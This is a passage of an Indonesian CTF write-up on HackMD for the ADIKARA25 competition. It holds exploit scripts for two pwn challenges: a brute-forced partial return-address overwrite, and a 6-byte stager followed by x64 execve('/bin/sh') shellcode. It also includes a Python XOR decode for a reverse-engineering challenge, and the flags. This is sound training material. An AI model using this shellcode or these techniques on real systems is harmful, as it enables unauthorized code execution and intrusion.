s.settimeout(0.2) while time.time() < end and token not in data: try: chunk = s.recv(8192) if not chunk: break data += chunk except: pass time.sleep(0.01) return data def setup_underflow(s): recvuntil(s, b"> ") s.sendall(b"1\n") recvuntil(s, b"(yes/no) > ") s.sendall(b"no\n") recvuntil(s, b"> ") s.sendall(b"2\n") recvuntil(s, b"> ") s.sendall(b"1\n") recvuntil(s, b"(yes/no) > ") s.sendall(b"yes\n") recvuntil(s, b"> ") s.sendall(b"3\n") # secret menu def attempt(low16): ctx = make_ssl() sock = socket.create_connection((HOST, PORT), timeout=5) s = ctx.wrap_socket(sock, server_hostname=HOST) full = b"" try: setup_underflow(s) full += read_for(s, 0.6) # custom order + overflow (newline + 87 pad + 2 bytes = 90 bytes) payload = b"\n" + b"A"*87 + struct.pack("<H", low16) s.sendall(b"3\n" + payload) # tunggu balik ke prompt secret menu full += recvuntil(s, b"> ", 2.0) # trigger ret s.sendall(b"4\n") # baca agak lama, biar keburu lihat output win kalau ada full += read_for(s, 3.0) return full finally: try: s.close() except: pass # kandidat low16 (win low16 = base_low16 + 0x1289) cands = [((0x1289 + i*0x1000) & 0xffff) for i in range(16)] # ulangi beberapa putaran (PIE berubah tiap koneksi, jadi ini normal) for round_idx in range(1, 21): print(f"\n===== ROUND {round_idx} =====") for low16 in cands: out = attempt(low16) text = out.decode(errors="ignore") low = out.lower() hit = (b"ingredient" in low) or (b"flag" in low) or (b"you tried a few times huh" in low) print(f"[{hex(low16)}] hit={hit} bytes={len(out)}") if hit: print("\n--- OUTPUT ---") print(text) print("-------------") raise SystemExit ``` ![image](https://hackmd.io/_uploads/HJ37Aq-mZe.png) **Flag : ADIKARA25{d0_y0u_l1k3_p135?45658509c52153b3e9682df9ec008314}** --- ### <center><a id="49"> metamorfosis </a></center> <center>420</center> <center>hanya beberapa byte yang dibolehkan... `author: archanist`</center> diberikan file chall & ncat metamorfosis.chall.adikara.online 443 --ssl 1. Temuan Analisis: Program membuat area memori khusus di alamat 0x13370000 yang bisa dieksekusi (RWX). Program meminta input, tapi hanya membaca 6 byte. Setelah membaca, program langsung mengeksekusi input tersebut sebagai kode mesin (assembly). 2. Kendala Utama Untuk mendapatkan shell, biasanya kita butuh kode (shellcode) yang melakukan execve("/bin/sh"). Masalahnya, shellcode standar membutuhkan 27-30 byte. Kita punya masalah fisik: "Bagaimana memasukkan gajah (30 byte) ke dalam kulkas mini (6 byte)?" 3. Solusi: Multi-Stage Shellcode (Teknik Stager) Karena pintu masuknya kecil, kita tidak bisa langsung mengirim virus utamanya. Kita membagi serangan menjadi dua tahap: Stage 1 (Si Kecil): Kode super pendek (max 6 byte) yang tugasnya cuma satu: menyuruh sistem untuk membuka pintu input lagi (memanggil fungsi read lagi) tapi kali ini dengan kapasitas besar. Stage 2 (Si Besar): Shellcode asli kita yang akan dikirim setelah Stage 1 berhasil membuka jalan. Syarat Syscall Read: ``` RAX = 0 (Nomor syscall read) -> Kebetulan sudah 0. RDI = 0 (File Descriptor stdin) -> Perlu kita set. RSI = Alamat Buffer (0x13370000) -> Ada di RDX, perlu dipindah. RDX = Ukuran Baca -> Kebetulan isinya pointer besar, cukup untuk ukuran. ``` Kode Assembly (6 Byte): solve.py ``` from pwn import * # 1. Konek ke server p = remote('metamorfosis.chall.adikara.online', 443, ssl=True) # 2. Kirim Stage 1 (6 Byte Loader) # push rdx; pop rsi; xor edi, edi; syscall stage1 = b"\x52\x5e\x31\xff\x0f\x05" p.send(stage1) # Tunggu sebentar biar stage 1 tereksekusi import time; time.sleep(1) # 3. Kirim Stage 2 (Shellcode Asli) # Shellcode Linux x64 execve("/bin/sh") shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # Padding 6 byte di awal untuk menyesuaikan posisi CPU payload = b'\x90'*6 + shellcode p.send(payload) # 4. Ambil Flag p.interactive() ``` ![image](https://hackmd.io/_uploads/B1QIaiWmbe.png) Memori: [ Sampah 6 Byte ] + [ Shellcode Asli ] **Flag : ADIKARA25{w3ll_w3ll_w3ll!_39047cb2a125b68fd3c16c4280f97a70}** --- ## <a id=Reverse-Engineering> Reverse Engineering </a> ### <center><a id="31"> Snake </a></center> <center>320</center> <center>I bet you can't reach 99,999 points! Author : `Cyrus`</center> diberikan file snake. saya malas RE jadi saya check dulu kalau ini base nya python bukan ![image](https://hackmd.io/_uploads/B14sBjbmZl.png) karena ini python dan versinya paling terbaru, jadi saya pake tools pyinstxtractor buat nge extract. ada snake.pyc lalu saya decompile pake pycdc ~/Desktop/pycdc/pycdc snake.pyc > source_asli.py ![image](https://hackmd.io/_uploads/H1NI8iZ7Wx.png) solve.py ``` import base64 # 1. Data dari hasil decompile kamu key_b64 = b'czNjcjN0LWszeQ==' flag_obf_b64 = b'MncqOXImbFkGAgBdVxkAK0pfXkosAhAtXg1yDQcPQ0FSBgArSl9eSixEFgVsBx5YbABDRjxDXStLWl1NH04=' # 2. Decode Base64 ke bentuk bytes asli key_bytes = base64.b64decode(key_b64) flag_encrypted_bytes = base64.b64decode(flag_obf_b64) print(f"Key: {key_bytes}") # Output key harusnya: b's3cr3t-k3y' # 3. Lakukan Decrypt (XOR Operation) # Logic: ciphertext XOR key = plaintext decrypted_flag = [] for i in range(len(flag_encrypted_bytes)): # Ambil byte cipher ke-i cipher_byte = flag_encrypted_bytes[i] # Ambil byte key (gunakan modulus % agar key berulang jika flag lebih panjang dari key) key_byte = key_bytes[i % len(key_bytes)] # XOR kan decrypted_flag.append(cipher_byte ^ key_byte) # 4. Tampilkan hasil result = bytes(decrypted_flag) print("\n[+] FLAG FOUND:") print(result.decode('utf-8', errors='ignore')) ``` ![image](https://hackmd.io/_uploads/SyqKLj-mZg.png) **Flag : ADIKARA25{sn4k3_g4m3_1s_my_f4v0r1t3_g4m3_wuw_s33_y0u_1n_f1n4l}** ---

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully